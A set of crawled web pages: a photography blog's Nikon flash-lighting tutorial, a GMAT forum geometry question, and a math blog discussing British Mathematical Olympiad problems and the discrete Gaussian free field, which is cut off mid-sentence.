contribution. ## Conclusion The bottom line is: the channel mixer is pretty flexible and you can use it at your advantage, for example to simulate some B&W filters in post production. For example, I often increase the Red and Orange channel in many portraits, especially those taken during the summer, to get less contrast in the subject's skin thus getting it brighter and removing many imperfections. In the following shot, for example, you can see how simulating a red filter has given the photo more contrast in the red highlights and resulting in a smoother and brighter skin: Red and Oraange channels were increased to simulate a red filter The same effect was used in this shot to achieve a similar result: Red and Oraange channels were increased to simulate a red filter In the following shot, the subject was very tanned and the shot, when converted to black and white, had a look I really didn't like. Once again, using an appropriate mix, I could deliver a more natural skin tone and get rid of all the subject's speckles too. ## Saturday, July 14, 2012 ### Nikon Creative Lighting System Tutorial: The Basics Nikon Creative Lighting System Tutorial: The Basics v. 1.1 (PDF) Nikon's Creative Lighting System, in Nikon's word offers photographers new and unprecedented levels of accuracy, automation and control. Looking past the marketing jargon, Nikon CLS is a set of technologies (and automations) that enable photographers taking the most out of their flash systems with the minimum effort. The technologies making up CLS include: • i-TTL balanced fill flash. • Auto FP High Speed Sync. • Flash Value Lock (FV Lock). • Wide-Area AF-Assist illuminator. • Flash Color Communication. • Distance-Priority Manual Flash. • Modeling Flash. As it happens with most automatic mechanisms, an incomplete understanding of their behaviour might negatively (or at least counterintuitively) affect the obtained result. In my opinion, the behaviour of several Nikon CLS technologies isn't properly documented in the camera and flash manuals and, "unfortunately", you will be using some of them each time you use a flash, including the pop-up flash of your Nikon camera. The purpose of this document is to describe the fundamental behaviour of the basic technologies that make up the CLS technology, such as i-TTL balanced fill flash (TTL-BL), regular iTTL flash (TTL in this guide) and flash value lock (FV lock). #### Flash photography implies multiple exposures As we've seen in Flash exposure tutorial: the basics, any time you're making a photograph, you have to deal with multiple light sources which, in the context of this article, we will divide into two categories: ambient and flashIn this section we'll quickly recap the concepts exposed in that tutorial. Even if extremely faint, you will always be dealing with ambient light, which you may consider as the amount of light coming from continuous light sources outside of your control (the Sun, environmental lighting, etc.). That's the light you're used to meter when taking a shot without controlling any flash. As soon as you turn on a flash, you're introducing new variables into the equations. The first thing you've got to realize, apart from the distinctive traits of flash light we've already covered in the previous tutorial, is that you've got control over that light source and this is where the CLS technology comes into play. Every time you shoot a picture using flashes the resulting image will be the combination of two exposures: an exposure coming from the ambient light and an exposure coming from the flashes. Depending on the results you want to achieve, you will have to meter both light sources and configure both your camera and your flashes to achieve the desired ratio a/f between ambient light a and flash light f that's going to be received by your sensor. In the previous tutorial we've seen how common settings (such as ISO sensitivity, shutter speed and aperture) differently affect a and f and we've also quickly described how TTL metering automatically changes the flash power output and, in turn, how it affects a/fThe physics behind it is easy, but the resulting mechanisms are not intuitive, and that's why it's important for a photographer to know them, at least their broad outline. Nikon CLS system is a set of technologies that further assist the photographer in getting the results he wants more quickly and more easily. Once again, though, it's important for you to know how that technology works and the assumptions it makes: that way, you will be able to get the most out of it and you will avoid being "trapped" into situations in which you're getting results you can't explain. ##### Which is your main light source? Failing to correctly recognize which your main light source is often is the beginning of a novice photographer's problems. No matter the lighting condition, if the main subject is poorly lit, you turn on the flash and hope the camera metering system will solve the problem for you. Whilst this is not so bad an assumption (after all, that's why the TTL and CLS technology are there), you must realize that your gear is going to make an educated guess based on its assumptions and the lighting conditions it determines. That's a starting point, but it seldom is the correct guess. In fact, look at the name of one of the most misunderstood CLS technologies: i-TTL balanced fill flashFill flash implies that the flash is not the main light source or, said in other words, that ambient light is stronger that flash light. Unfortunately, although understandably, i-TTL balanced fill flash is the flash mode Nikon cameras and flashes use by default. One of the important things we've learnt is that flash is a nearly instantaneous light source whilst ambient light is continuousAs a consequence, you can adjust the ratio a/f of their contribution, at least to a certain degree. This fact allows you, for example, to get properly exposed subjects and properly exposed backgrounds, where properly means "according to your will". TTL metering makes this so easy because it automatically changes the flash power output to compensate a change in other parameters (such as aperture or ISO sensitivity) and get a properly exposed subject. To summarize: Ambient light exposure is controlled by the camera metering system, while flash exposure is controlled by the flash metering system. Said in other words, they're decoupledThe only "problem" with TTL metering is that novice photographers are often unaware of it, and wonder what's going on when results aren't as expected or when they're ready to make a step forward and get more creative. To understand the different nature of the two situations and the kind of issues you may run into, let's make a quick summary of what we've seen in the previous article, trying to distinguish between them. ##### Flash is the primary light source When flash is the primary light source, things are pretty easy. If you want your subject to standout over an underexposed background, just reduce the contribution of ambient light (for example, reducing the shutter speed) and the ratio a/f will decrease as well. On the contrary, you can increase the contribution of ambient light and the ratio a/f (for example, lowering the shutter speed or raising the ISO sensitivity) if you want to get a more exposed background. ##### Ambient light is the primary light source When ambient light is the primary light source, flash can be used to balance shadows of a poorly lit subject and this technique is usually called fill flashThe camera will be set to correctly expose the (lighter) foreground and the flash metering system will fire the flash at the correct power to correctly expose the subject. You could argue that the sum of the two light source could eventually overexpose the subject: it's true, and that's one of the aspects that the Nikon CLS system takes care of. ##### TTL vs. TTL-BL In Nikon's jargon, TTL (regular TTL) and TTL-BL indicate how the metering systems of your camera and your flash will "react" to the lighting conditions you're shooting in. Unfortunately, the difference between the two systems is not well understood by many users and I recognize that Nikon is not making its best to clarify the differences between the two modes in its manuals. As we've seen, common exposure parameters may have different effects on different kind of light sources and on the lighting conditions you're shooting in. If you shoot in regular TTL, you can separately manage the two exposures (ambient and flash) and get the results you want. In TTL-BL mode, the metering systems will assume you want to balance the two exposures. Basically, you're telling your camera to assume that the subject is darker than the background. Nikon CLS has been improving over the years and I do recognize that you can get great results even when blindly shooting in TTL-BL all the time. However, you may sometimes get weird results when shooting TTL-BL and not meeting its assumptions, and it's important to understand why. In the next sections, we will quickly recap how TTL and TTL-BL modes work, the assumptions the metering systems make and the decisions they take. Since I haven't found yet conclusive official documentation about the Nikon CLS internals, please take all of this with a grain of salt. #### TTL flash When using the flash in TTL mode, you're basically telling your camera metering systems to independently manage the two exposures: ambient light and flash light will be metered separately and no (or little) compensation logic will be applied. The behaviour of the TTL metering system isn't always intuitive and, once again, it is not properly documented. When using this mode, the two metering systems will meter ambient light and flash light independently. This fact, as detailed in the previous tutorial, may lead to overexposure: if both metering systems are calculating a "correct exposure", if the lighting conditions and the scene characteristics are such that the two sources of light are not negligible, at least in a certain area of the scene (such as the very subject), then the two "correct exposures" will sum up and this may lead to a 1 stop overexposure in that area. But besides these generic problems, Nikon CLS' behaviour may introduce new issues. Recent cameras, for example, may try to avoid overexposure risks by automatically dialing a negative exposure compensation in automatic and semi-automatic modes. This reduction seems to be somehow proportional to the intensity of the ambient light. That's why you may sometimes get a background darker than expected, especially when ambient light is very bright. This issue clarifies why TTL flash may not be the best mode to use for flash fill, especially when the scene is bright. Another very important aspect of how the flash metering system works is: which part of the scene does it meter? It comes out that it meters the center of the frame. If your subject is not in the center when shooting, the flash metering system will be deceived and you may end up with an incorrectly exposed subject. This is the reason why Nikon CLS has got a flash value lock feature (FV lock) that we will see in the following sections. Ultimately, in all the cases when you don't need TTL-BL (see below), you should switch to TTL. The quickest way to do that with Nikon cameras is selecting the spot metering system. You will then have total control over your photo and, following the advices of the previous tutorial, you will be able to get very good results, especially being able to tune the relatively intensity of ambient and flash lights in your shots: using the camera common exposure settings (ISO sensitivity, aperture and shutter speed) you will tune how much ambient light is detected by the sensor and using flash exposure compensation you will tune how much flash light will light your subject. #### TTL-BL flash Fill flash is a technique in which you use a flash to "fill" the shadows in the subject when the ambient light is brighter than the subject itself. For example, if you shoot a backlit subject, such a person in front of a bright sky or a window, you may need to fill the shadows in the subject face using a flash. This is the use case Nikon invented TTL-BL for: TTL-BL is meant to balance ambient light with flash and get a properly exposed and balanced background and foreground. TTL-BL is the mode used by default (unless spot metering is used) with both the pop-up flash and hot-shoe mounted flash units compatible with Nikon CLS. As stated in the introduction, modern TTL-BL flash implementations work really good even when using them when flash is the primary light source. However, you may get unexpected results at times; that's why you should learn about both flash modes and learn to choose and use the more suitable depending on the shoot you're taking. When using TTL-BL, the two metering systems will coordinate together in order to achieve the desired balancing of ambient and flash light. Roughly speaking, when using TTL-BL, the two systems meter the light and exchange the information required in order for the flash to be fired at the power that will achieve the balance. Once again, though, the camera will set its parameters as if the flash wasn't usedinstead, the flash metering system will lower the flash output at the desired level, taking into account the intensity of the ambient light. If the subject is not darker than the background, then, you will get an overexposed subject. Flash exposure compensation can be used to fine tune the flash power output even when you shoot TTL-BL. Very often, in fact, you'd rather reduce the flash power output in order for your subject not to stand out too much in the shot or to achieve more creative moods. Hopefully, it's now clear that the rationale behind TTL-BL flash is balancing a darker subject against a brighter background. No matter how smart your metering system might be, if you're not shooting under this assumption, you should switch to TTL instead. ##### Aperture priority mode in a bright ambient As already seen in the previous tutorial, extra care must be taken when using aperture priority mode with a flash, especially in bright ambient light. In fact, aperture has a direct effect on both ambient light and flash light reaching the sensor and, above all, on the flash power output required to correctly light the subject. If you recall the definition of guide number, your flash will be able to properly light a subject at a certain distance (see PDF version for more details). Why does this fact matters so much? Because if the light gets brighter, or if the ISO sensitivity being used is increased, then the shutter speed selected by the camera will be increased to compensate for it. But there's a maximum shutter speed that can be used when using a flash (wnless your camera can use high speed flash sync) which can be as slow as 1/200 s. If the correct exposure is given by a shutter speed faster than this value, the camera won't be able to select it and you'll get an overexposed shot. In bright light, such as when shooting in sunlight, that's a boundary that you'll hit very soon: the sunny 16 rules gives: i = 100 s = 1/125 a = f/16 An aperture = f/16 is right at the limit. If you open it one stop, you'll get i = 100 s = 1/250 a = f/11 and you've just hit the maximum shutter speed for flash sync. I bet many people won't be usually using aperture priority mode at a = f/11 (or smaller) at they'll surely get an overexposed shot. On the other hand, if you're aware of what's going on (your camera meter will indicate the overexposure) and close down your aperture, you may soon get your flash out of range. Professional speedlights (such as Nikon SB-910) have guide numbers around 34 meters which, at = f/16, give a maximum distance r from the subject of approximately 2 meters: r = g/a = 34/16 Clearly, a very short flash range. #### Why manual mode is a good choice when using TTL flash There are several reasons why manual mode is a good choice when using a flash, especially in TTL mode. ##### Manual is not that challenging The first one is that manual mode is not that challenging when shooting with a flash. The reasons are manifold. First of all, as we've stressed several times, the camera metering system pretty much ignores the flash, even more when used in TTL mode. As a consequence, manual mode lets you freely use the camera metering system to quickly evaluate ambient light conditions and achieve the effect you want. On the other hand, the flash metering system will do its job and will properly expose your subject. ##### The flash freezes the movement The nearly instantaneous burst of light emitted by the flash will freeze the movement of your subject and, in a reasonable settings range, you won't have to worry too much about shutter speeds and about getting a blurred subject. If you remember what we've seen in the other tutorial, the shutter speed usually has no effect on the amount of flash light reaching the sensor. This is a "degree of freedom" when using manual mode with flash: you can set ISO and aperture according to the flash power output needs you have and then using slow shutter speeds, even when no tripod is used. In fact, you may get interesting and creative results: when using wide apertures a slightly blur in the background will be nearly indistinguishable with shallow depths of fields. ##### No need to use "slow sync" When using automatic or semi automatic modes with a flash, cameras usually limit the shutter speed to a minimum which is usually around 1/60 s. Such a speed is often insufficient for the sensor to gather sufficient ambient light and you get the typical "white ghost" (your subject) over a dark background. To override this behaviour, you need to choose the slow sync mode: your camera will then choose slower shutter speeds. But why? I think the reasoning behind that behaviour is that the camera prevents you from getting some ghosting in your shot. 1/60 s is sufficiently fast a speed for freezing a standing still subject when shooting without a tripod. It's sort of an "error prevention" mechanism you can override if want to. However, in the previous section we've seen you can use the instantaneous flash light to freeze your subject movement when using slow shutter speeds. Should you get unacceptable ghosting, just increase your shutter speed in manual mode and you're done. ##### Use flash exposure compensation and exposure compensation interchangeably This is an advantage in terms of ergonomics I like when using manual mode with TTL flash. As we've seen, photographers can use two mechanisms to compensate exposure: exposure compensation and flash exposure compensationThe former acts on both light sources and effectively changes camera settings to accordingly reduce ambient light and flash power output. The latter acts only on flash power output, and is commonly used to fine tune the ratio between flash light on the subject and ambient exposure. But what happens when you're using manual mode? When using manual mode, exposure compensation just changes the value shown by your camera meter, but effectively has no effect on camera settings (beware that you must also disable auto ISO). As a consequence, exposure compensation will only affect flash power output and will give a result similar to what you'd obtain using flash exposure compensation instead. #### Flash value lock (FV lock) No matter which flash mode you're using, the flash metering system always meters the centre of the frame. This is a very important thing to know if you want to get predictable results when shooting with a flash. The problem is somewhat analogous to what happens when you set a parameter and then recomposeMost photographers are aware of the risks of recomposing when using some automatisms such as exposure meters and autofocus systems. Unless you tell the camera somehow what your subject is, you won't get predictable results. The same thing happens with the flash exposure metering system. As it measures reflected flash light at the centre of the frame, when your subject is not in the centre, its exposure will likely be incorrect. This problem can be amplified by the fact that very often, after recomposing, the centre of the frame contains a farther background or a nearer foreground object. In either case, the flash metering system will be deceived and, for the effect of the inverse-square law (see Flash exposure tutorial: the basics), its reading can greatly differ from the correct one. As a consequence, you may get strongly overexposed or underexposed subjects. Similarly to what happens with exposure lock and focus lock, a new kind of lock is provided: flash value lockUsing flash value lock when pointing at your subject lets your camera meter a flash burst and lock the flash power output level. You can, then, recompose your shot and get the proper flash output. Furthermore, while the flash value is locked, you will be able to take a burst of photographs using exactly the same flash power output obtaining consistent results. Depending on your camera settings, the locked flash value will be retained until • you unlock it, pushing FV lock again, • the metering system timeout elapses (by default, it's a few seconds on most cameras), • the camera is turned off. For this reason, check your camera viewfinder and be sure the lock hasn't be released before taking the picture. I find that the FV lock flash burst can also be useful to "prepare" your subjects' eyes to the main flash bursts. After the lock burst, you can have your subject blink their eyes and get used to it. Then, you can take the shot and reduce the chances someone has blinked just when the main flash burst is emitted. #### Examples Here are some examples to better understand how we can take advantage of both metering systems, of Nikon CLS technology and, thus, of our flash. ##### TTL-BL fill flash} First of all, let's see an example of how we can use Nikon TTL-BL to get a shot with a well-balanced subject. The subject in the following figure was partially in the shadow of a palm tree and was strongly backlit. Since ambient light is the main source of light and our subject was darker (at least partially), we needed some fill-flash. Hence, I switched my camera in matrix metering mode, the flash in TTL-BL mode, I locked the flash value pointing at my subject and took the shot. Since ambient light was very strong and strong reflections were coming from the pool, I dialed an exposure compensation of -0.7 EV. The result is a well balanced image with a properly exposed background and the shadows in my subjects' faces partially lifted by the filling flash. In this case, I'd probably dial in another -0.7 EV to the flash compensation in order for my subjects not to pop out'', but that's just a matter of taste. Matrix metering, TTL-BL, Exposure compensation: −0.7 EV ##### TTL flash in manual mode In the following figure we can see what happens turning on the flash and taking the photo using the settings suggested by the camera metering system in matrix metering mode and flash in TTL-BL. Matrix metering, TTL-BL In this case, the ambient light was moderately strong, even if were in the shadow, and the subject was as lit as most of the background (excluding the sky). The poor child is much too lit: he's popping out the photo as if it were a ghost. Also, that background is ugly, so that we could take advantage of manual mode and TTL flash in order to darken it a bit and lower the ratio $a/f$ between ambient light and flash light. In the following figure you can see the result of shooting in manual mode with flash in TTL mode locked onto our subject. Manual mode, TTL, f/7.1, 1/125 s., ISO 320 With the specified parameters (f/7.1, 1/125 s., ISO 320) the camera was metering an underexposure of almost -1 EV, so that the background would be 1 stop darker. On the other hand, the flash was locked onto the subject and flash compensation was set to -2/3 EV. The result is a dark background and a brighter subject, although not as bright as before because of the negative flash compensation I dialed in. Why? Once again, just a matter of taste. Most of the times I prefer reducing the flash output to reduce the "ghost" effect you get when flash output is too strong. In case you need more output, just change the compensation, that's part of the beauty of Nikon CLS in manual mode. In the previous example we wanted to achieve a darker background and we used the camera in manual mode with flash in TTL mode to modify the ratio between ambient and flash light a/f accordingly. In the following figure we use the same technique to \emph{increase} the a/f ratio. Since I wanted a bright background for this photo and had no other lighting equipment with me, I put the subjects in front of a white wall and lit by artificial light while leaving them on partial shade. On the one hand, I set the camera parameters to slightly overexpose the wall and get a bright white background and on the other hand I locked the flash value on the baby's face to properly expose it with a little fill. Manual mode, TTL, f/7.1, 1/30 s., ISO 400 ##### Freezing action In the following figure you can see how we can take advantage of the manual mode and the flash TTL mode to get: • a not-so-dark background, • a properly lit subject and • frozen action. The child was moving in a low light situation and I couldn't have frozen the action without the flash without severe underexposure.On the other hand, manual mode lets us use shutter speeds as low as we want to gather the desired amount of ambient light: in this case, 1/10 s. was enough to get background light spots sufficiently visible. On the other hand, 1/10 s. is too slow a speed to properly freeze the movement of a human being at a focal length of approximately 60 mm, let alone a child who's playing. The flash burst duration, on the other hand, is much shorter (it depends on the flash power but it's approximately 1/1000 s.) and it can freeze action quite effectively. In fact, although you can still see a ghosting effect around the child's arms and shoulders, the flash has frozen the child's action pretty well. Manual mode, TTL, f/8.0, 1/10 s., ISO 1600 Since background lights were very dim, I had to push the sensitivity up to ISO 1600 to be able to properly expose them at a shutter speed of 1/10 s. Of course, I could have use lower shutter speeds, but the resulting ghosting effect would have been too strong to be acceptable. Nikon Creative Lighting System Tutorial: The Basics v. 1.1 (PDF)	2017-12-11 09:18:42	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.3114098012447357, "perplexity": 1827.518913543628}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-51/segments/1512948513330.14/warc/CC-MAIN-20171211090353-20171211110353-00396.warc.gz"}
https://gmatclub.com/forum/in-the-figure-above-what-is-the-length-of-ac-280395.html	GMAT Question of the Day - Daily to your Mailbox; hard ones only It is currently 18 Jan 2019, 04:31 ### GMAT Club Daily Prep #### Thank you for using the timer - this advanced tool can estimate your performance and suggest more practice questions. We have subscribed you to Daily Prep Questions via email. Customized for You we will pick new questions that match your level based on your Timer History Track every week, we’ll send you an estimated GMAT score based on your performance Practice Pays we will pick new questions that match your level based on your Timer History ## Events & Promotions ###### Events & Promotions in January PrevNext SuMoTuWeThFrSa 303112345 6789101112 13141516171819 20212223242526 272829303112 Open Detailed Calendar • ### Free GMAT Strategy Webinar January 19, 2019 January 19, 2019 07:00 AM PST 09:00 AM PST Aiming to score 760+? Attend this FREE session to learn how to Define your GMAT Strategy, Create your Study Plan and Master the Core Skills to excel on the GMAT. • ### FREE Quant Workshop by e-GMAT! January 20, 2019 January 20, 2019 07:00 AM PST 07:00 AM PST Get personalized insights on how to achieve your Target Quant Score. # In the figure above, what is the length of AC ? Author Message TAGS: ### Hide Tags Board of Directors Joined: 01 Sep 2010 Posts: 3281 In the figure above, what is the length of AC ? [#permalink] ### Show Tags Updated on: 31 Oct 2018, 21:07 Top Contributor 00:00 Difficulty: 15% (low) Question Stats: 90% (00:35) correct 10% (01:09) wrong based on 29 sessions ### HideShow timer Statistics In the figure above, what is the length of AC ? (1) x + y = 13 (2) xy = 36 Attachment: length.jpg [ 13.34 KiB \| Viewed 304 times ] _________________ Originally posted by carcass on 31 Oct 2018, 09:04. Last edited by Bunuel on 31 Oct 2018, 21:07, edited 1 time in total. EDITED. RC Moderator Joined: 24 Aug 2016 Posts: 635 Concentration: Entrepreneurship, Operations GMAT 1: 630 Q48 V28 GMAT 2: 540 Q49 V16 Re: In the figure above, what is the length of AC ? [#permalink] ### Show Tags 31 Oct 2018, 09:13 carcass wrote: Attachment: length.jpg In the figure above, what is the length of AC ? 1. x + y = 13 2. xy=36 1. AC= 2(x+y) =2*13 = 26 Suff 2. If xy=36, x,y have diff possible pair if they are strictly integers e.g., (1,36),(2,18) etc ..... if we consider non-integers there will be more e.g., $$(\frac{36}{7} , 7)$$, $$(\frac{36}{11},11)$$.... etc..... so x+y will be having varied results for each pair. --Not Suff .......................Thus Ans A _________________ Please let me know if I am going in wrong direction. Thanks in appreciation. Re: In the figure above, what is the length of AC ? &nbs [#permalink] 31 Oct 2018, 09:13 Display posts from previous: Sort by	2019-01-18 12:31:04	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8137020468711853, "perplexity": 10085.487591977493}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-04/segments/1547583660070.15/warc/CC-MAIN-20190118110804-20190118132804-00430.warc.gz"}
https://eventuallyalmosteverywhere.wordpress.com/tag/simple-random-walk/	# BMO1 2018 The first round of the British Mathematical Olympiad was sat yesterday. The paper can be found here, and video solutions here. Copyright for the questions is held by BMOS. They are reproduced here with permission. I hope any students who sat the paper enjoyed at least some of the questions, and found it challenging! The following commentaries on the problems are not official solutions, and are not always full solutions at all, but contain significant steps of solutions, so would be best saved until after you have attempted the problems, if you are planning to do so. I’ve written quite a lot about Q5 because I found it hard (or at least time-consuming) and somewhat atypical, and I’ve written a lot about Q6 because there was a lot to say. I hope at least some of this is interesting to some readers of all levels of olympiad experience. Question 1 A list of five two-digit positive integers is written in increasing order on a blackboard. Each of the five integers is a multiple of 3, and each digit {0,1,…,9} appears exactly once on the blackboard. In how many ways can this be done? (Note that a two-digit number cannot begin with zero.) It’s a trope of BMO1 that the first question must be doable by some sort of exhaustive calculation or listing exercise. Of course, that is rarely the most efficient solution. However, there is normally a trade-off between eliminating all listing, and reducing to a manageable task. The key observation here is that writing the integers in increasing order is really just a way to indicate that order of the choices doesn’t matter. Even if that seems counter-intuitive. The question wants to know how many ways to choose these five numbers. The order of choice doesn’t matter since we’re going to put them in ascending order on the blackboard anyway. You want to make your choices with as much independence as possible. So it would, for example, be a bad idea to choose the smallest number first. How many possibilities are there where the smallest number is 24? What about 42? What about 69? These are all different, and some are zero, so will make the computation very taxing. However, you might notice that the digits {0,3,6,9} have to go together to form two numbers, and the rest have to pair up with one digit from {1,4,7} and one from {2,5,8}. You might know that an integer is divisible by 3 precisely if its digit sum is divisible by 3, but in this context you wouldn’t lose too much time by simply listing everything! These tasks are now completely separate, so you can take the number of ways to pair up {0,3,6,9} and multiply by the number of ways to pair up {1,4,7} and {2,5,8}. You need to take care over the ordering. It does (obviously) matter which is the first digit and which is the second digit in a number! # BMO2 2018 The second round of the British Mathematical Olympiad was taken yesterday by the 100 or so top scoring eligible participants from the first round, as well as some open entries. Qualifying for BMO2 is worth celebrating in its own right. The goal of the setters is to find the sweet spot of difficult but stimulating for the eligible participants, which ultimately means it’s likely to be the most challenging exam many of the candidates sit while in high school, at least in mathematics. I know that lots of students view BMO2 as something actively worth preparing for. As with everything, this is a good attitude in moderation. Part of the goal in writing about the questions at such length (and in particular not just presenting direct solutions) is because I think at this level it’s particularly easy to devote more time than needed to preparation, and use it poorly. All these questions could be solved by able children. In fact, each could be solved by able children in less than an hour. You definitely count as an able child if you qualified or if your teacher allowed you to make an open entry! Others count too naturally. But most candidates won’t in fact solve all the questions, and many won’t solve any. And I think candidates often come up with the wrong reasons why they didn’t solve problems. “I didn’t know the right theorems” is very very rarely the reason. Olympiad problems have standard themes and recurring tropes, but the task is not to look at the problem and decide that it is an example of Olympiad technique #371. The task is actually to have as many ideas as possible, and eliminate the ones that don’t work as quickly as possible. The best way to realise that an idea works is to solve the problem immediately. For the majority of occasions when we’re not lucky enough for that to happen, the second-best way to realise that an idea works is to see that it makes the problem look a bit more like something familiar. Conversely, the best way to realise that an idea doesn’t work is to observe that if it worked it would solve a stronger but false problem too. (Eg Fermat’s Last Theorem does have solutions over the reals…) The second-best way to realise that an idea doesn’t work is to have the confidence that you’ve tried it enough and you’ve only made the problem harder, or less familiar. Both of these second-best ideas do require a bit of experience, but I will try to explain why none of the ideas I needed for various solutions this year required any knowledge beyond the school syllabus, some similarities to recent BMOs, and a small bit of creativity. As usual, the caveat that these are not really solutions, and certainly not official solutions, but they are close enough to spoil the problems for anyone who hasn’t tried them by themselves already. Of course, the copyright for the problems is held by BMOS, and reproduced here with permission. Question One I wrote this question. Perhaps as a focal point of the renaissance of my interest in geometry, or at least my interest in teaching geometry, I have quite a lot to say about the problem, its solutions, its origin story, the use of directed angles, the non-use of coordinate methods and so on. In an ideal world I would write a book about this sort of thing, but for now, a long and separate post is the answer. This will be available once I’ve successfully de-flooded my apartment. Question Two I also wrote this problem, though I feel it’s only fair to show the version I submitted to the BMO committee. All the credit for the magical statement that appears above lies with them. There is a less magical origin story as well, but hopefully with some interesting combinatorial probability, which is postponed until the end of this post.One quick observation is that in my version Joe / Hatter gets to keep going forever. As we shall see, all the business happens in the first N steps, but a priori one doesn’t know that, and in my version it forces you to strategise slightly differently for Neel / Alice. In the competition version, we know Alice is done as soon as she visits a place for a second time, but not in the original. So in the original we only have to consider ‘avoid one place’ rather than the multiple possibilities now of ‘avoid one place’ or ‘visit a place again’. But I think the best idea is to get Alice to avoid one particular place $c\not\equiv 0$ whenever possible. At all times she has two possible options for where to go next, lets say $b_k+a_k, b_k-a_k$ in the language of the original statement. We lose nothing by assuming $-N/2 < a_k\le N/2$, and certainly it would be ridiculous for Joe / Hatter ever to choose $a_k=0$. The only time Alice’s strategy doesn’t work is when both of these are congruent to $c$, which implies $N\,\|\, 2a_k$, and thus we must have $N= 2a_k$. In other words, Alice’s strategy will always work if N is odd. I think it’s really worth noticing that the previous argument is weak. We certainly did not show that N must be odd for Alice to win. We showed that Alice can avoid a congruence class modulo an odd integer. We didn’t really need that odd integer to be N for this to work. In particular, if N has an odd factor p (say a prime), then the same argument works to show that we can avoid visiting any site with label congruent to 1 modulo p. It’s actually very slightly more complicated. In the original argument, we didn’t need to use any property of $b_k$. But obviously here, if $b_k\equiv 1$ modulo p and $p\,\|\,a_k$, then certainly $b_{k+1}\equiv 1$ modulo p. So we have to prove instead that Alice can ensure she never ‘visits 1 modulo p for the first time’. Which is fine, by the same argument. So, we’ve shown that Neel / Alice wins if N is odd, or has an odd factor. The only values that remain are powers of 2. I should confess that I was genuinely a little surprised that Joe / Hatter wins in the power of 2 case. You can find a construction fairly easily for N=2 and N=4, but I suspected that might be a facet of small numbers. Why? Because it still felt we could avoid a particular site. In order for Alice’s strategy to fail, we have to end up exactly opposite the particular site at exactly the time when the next $a_k=N/2$, and so maybe we could try to avoid that second site as well, and so on backwards? But that turned out to be a good example of something that got very complicated quite quickly with little insight. And, as discussed at the beginning, that’s often a sign in a competition problem that your idea isn’t so good. (Obviously, when composing a problem, that’s no guarantee at all. Sometimes things are true but no good ideas work.) So we want other ideas. Note that for N=4, the sequence (2,1,2) works for Joe / Hatter, because that forces Alice / Neel to visit either (0,2,1,3) or (0,2,3,1). In particular, this strategy gave Alice no control on the first step nor the last step, and the consequence is that we force her to visit the evens first, then transfer to an odd, and then force her to visit the other odd. We might play around with N=8, or we might proceed directly to a general extension. If we have a Joe / Hatter strategy for N, then by doubling all the $a_k$s, we have a strategy for 2N which visits all the even sites in the first N steps. But then we can move to an odd site eg by taking $a_N=1$. Just as in the N=4 case, it doesn’t matter which odd site we start from, since if we again double all the $a_k$s, we will visit all the other odd sites. This gives us an inductive construction of a strategy for powers of two. To check it’s understood, the sequence for N=8 is (4,2,4,1,4,2,4). Although we don’t use it, note that this strategy takes Alice on a tour of sites described by decreasing order of largest power of two dividing the label of the site. # DGFF 4 – Properties of the Green’s function I’m at UBC this month for the PIMS probability summer school. One of the long courses is being given by Marek Biskup about the Discrete Gaussian Free Field (notes and outline here) so this seems like a good moment to revive the sequence of posts about the DGFF. Here’s DGFF1, DGFF2, DGFF3 from November. The first draft of this post was about the maximum of the DGFF in a large box $V_N$, and also about the Green’s function $G^{V_N}(x,y)$, which specifies the covariance structure of the DGFF. This first draft also became too long, so I’m splitting it into two somewhat shorter ones. As we’ll see, some understanding and standard estimates of the Green’s function is enough to say quite a bit about the maximum. In this first post, we’ll explore some ‘low-hanging fruit’ concerning the Green’s function, as defined through a simple random walk, which are useful, but rarely explained in the DGFF literature. Symmetry of Green’s function We start with one of these low-hanging fruit. If $G^{V_N}$ is to be a covariance matrix, it has to be symmetric. In the first post, showing that the definition of the DGFF as a random field with given Hamiltonian is equivalent to $\mathcal{N}(0,G^{V_N})$ certainly can be viewed as a proof of symmetry. However, it would be satisfying if there was a direct argument in the language of the definition of the Green’s function. To make this self-contained, recall the random walk definition of $G^{V_N}(x,y)$. Let $(S_m)_{m\ge 0}$ be simple random walk on $V_N$, and $\mathbb{P}_x,\,\mathbb{E}_x$ denote starting the random walk at $x\in V_N$. As usual, let $\tau_y,\,\tau_A$ denote the hitting time of a vertex y or a set A respectively. Then $G^{V_N}(x,y):= \mathbb{E}_x \left[ \sum_{m=0}^{\tau_{\partial V_N}}1_{(S_m=y) }\right].$ That is, $G^{V_N}(x,y)$ is the expected number of visits to y by a random walk from x, before it exits $V_N$. Let’s drop the superscript for now, as everything should hold for a more general subset of the lattice. I don’t think it’s immediately obvious at the level of Markov chains why G(x,y)=G(y,x). In particular, it’s not the case that $\mathbb{P}_x(\tau_y < \tau_{D^c}) = \mathbb{P}_y(\tau_x <\tau_{D^c}),$ and it feels that we can’t map between paths $x \to \partial D$ and $y\to \partial D$ in a way that preserves the 